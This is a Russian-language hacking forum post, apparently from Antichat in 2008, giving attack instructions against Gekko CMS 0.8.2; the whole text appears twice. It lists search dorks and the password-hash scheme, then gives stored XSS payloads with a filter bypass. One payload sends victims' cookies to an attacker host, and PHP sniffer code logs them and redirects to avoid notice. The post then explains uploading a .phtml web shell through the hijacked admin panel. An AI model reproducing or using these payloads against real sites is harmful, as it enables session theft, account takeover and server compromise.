Grey
03.02.2008, 20:09
Gekko CMS
gekko-portal-0.8.2
[Общая информация]
Офф сайт: http://www.gekkoware.ru/
Для поиска сайтов с такой цмс вводим: "Powered by Gekko" или "© 2008 example.org"
Стандартный префикс для таблиц: gekkocms_
Таблица с пользователями: user
Колонки с данными для авторизации: username и password
Пароль хешируется, алгоритм хеширования: md5($username.$password)
[Активная XSS]
Из-за недостаточной фильтрации (фильтрация хоть и есть, но еще сырая) можно в разрешенные теги вписать скрипт.
Проверял на форуме при создание/ответе на тему содержание поста - код скрипта:
<a href="javascript:alert(document.cookie);">text</a> - таким образом при нажатии на ссылку выполнится код (в данном случае алерт)
Одинарные кавычки фильтруются (ровно как и двойные (кстати постить нужно именно в них)), но это легко обойти:
Кодируем alert('xss'); -> (кодируем) -> alert('xss');
Получаем:
<a href="javascript:alert('xss');">text</a>
Алерт алертом, но лучше стырить куки.
Можно сделать к примеру что бы при нажатии на ссылку пользователь переходил на снифер и оставлял там куки:
document.location.replace('http://test2/q.php?q='+document.cookie); -> (кодируем) -> document.location.replace('http://test2/q.php?q='+document.cookie);
Получаем:
<a href="javascript:document.location.replace('http://test2/q.php?q='+document.cookie);">text</a>
По адресу http://test2/q.php?q= должен лежать наш снифер, который будет отлавливать куки:
<?php
$file = fopen('log.txt','a');
fputs($file, $_GET['q']."\r\n");
fclose($file);
?>
Что бы меньше палиться можно поставить редирет на какой нидь сайт:
<?php
$file = fopen('log.txt','a');
fputs($file, $_GET['q']."\r\n");
fclose($file);
header("Location: http://ya.ru");
?>
Таким образом пользователь при переходе по ссылке попадет на снифер, оставит там свои куки и будет перемещен на какой нидь сайт.
К сожалению в куках лежит индетификатор сессии, а это значит что пользоваться этими куками мы сможет пока пользователь не выйдет с сайта (т.е. его куки не будут удалены).
Но с другой стороны что бы попасть в админку вводить пароль не требуется, а это нам на руку.
====================================
Для кодирования вашего скрипта используйте сайт: http://ha.ckers.org/xss.html
Так же советую прочитать статью: Темная сторона Xss (http://forum.antichat.ru/threadnav42326-1-10.html) - вней вы найдете други способы использования xss.
[Заливка шелла]
Если вы успешно пробрались в админку, то залить шелл уже не проблема:
В админке переходим в 'Файлы' и заливаем файл, единственное но это то что расширение файла не может быть .php, но это уже не так страшно, подойжут любые из расширений: php3, phtml вообщем не важно какое главное что бы у аппача оно ассоциировалось с php.
Все шелл будет доступен по адресу:
http://site.ru/data/files/shell.phtml
(с) Grey
gekko-portal-0.8.2
[Общая информация]
Офф сайт: http://www.gekkoware.ru/
Для поиска сайтов с такой цмс вводим: "Powered by Gekko" или "© 2008 example.org"
Стандартный префикс для таблиц: gekkocms_
Таблица с пользователями: user
Колонки с данными для авторизации: username и password
Пароль хешируется, алгоритм хеширования: md5($username.$password)
[Активная XSS]
Из-за недостаточной фильтрации (фильтрация хоть и есть, но еще сырая) можно в разрешенные теги вписать скрипт.
Проверял на форуме при создание/ответе на тему содержание поста - код скрипта:
<a href="javascript:alert(document.cookie);">text</a> - таким образом при нажатии на ссылку выполнится код (в данном случае алерт)
Одинарные кавычки фильтруются (ровно как и двойные (кстати постить нужно именно в них)), но это легко обойти:
Кодируем alert('xss'); -> (кодируем) -> alert('xss');
Получаем:
<a href="javascript:alert('xss');">text</a>
Алерт алертом, но лучше стырить куки.
Можно сделать к примеру что бы при нажатии на ссылку пользователь переходил на снифер и оставлял там куки:
document.location.replace('http://test2/q.php?q='+document.cookie); -> (кодируем) -> document.location.replace('http://test2/q.php?q='+document.cookie);
Получаем:
<a href="javascript:document.location.replace('http://test2/q.php?q='+document.cookie);">text</a>
По адресу http://test2/q.php?q= должен лежать наш снифер, который будет отлавливать куки:
<?php
$file = fopen('log.txt','a');
fputs($file, $_GET['q']."\r\n");
fclose($file);
?>
Что бы меньше палиться можно поставить редирет на какой нидь сайт:
<?php
$file = fopen('log.txt','a');
fputs($file, $_GET['q']."\r\n");
fclose($file);
header("Location: http://ya.ru");
?>
Таким образом пользователь при переходе по ссылке попадет на снифер, оставит там свои куки и будет перемещен на какой нидь сайт.
К сожалению в куках лежит индетификатор сессии, а это значит что пользоваться этими куками мы сможет пока пользователь не выйдет с сайта (т.е. его куки не будут удалены).
Но с другой стороны что бы попасть в админку вводить пароль не требуется, а это нам на руку.
====================================
Для кодирования вашего скрипта используйте сайт: http://ha.ckers.org/xss.html
Так же советую прочитать статью: Темная сторона Xss (http://forum.antichat.ru/threadnav42326-1-10.html) - вней вы найдете други способы использования xss.
[Заливка шелла]
Если вы успешно пробрались в админку, то залить шелл уже не проблема:
В админке переходим в 'Файлы' и заливаем файл, единственное но это то что расширение файла не может быть .php, но это уже не так страшно, подойжут любые из расширений: php3, phtml вообщем не важно какое главное что бы у аппача оно ассоциировалось с php.
Все шелл будет доступен по адресу:
http://site.ru/data/files/shell.phtml
(с) Grey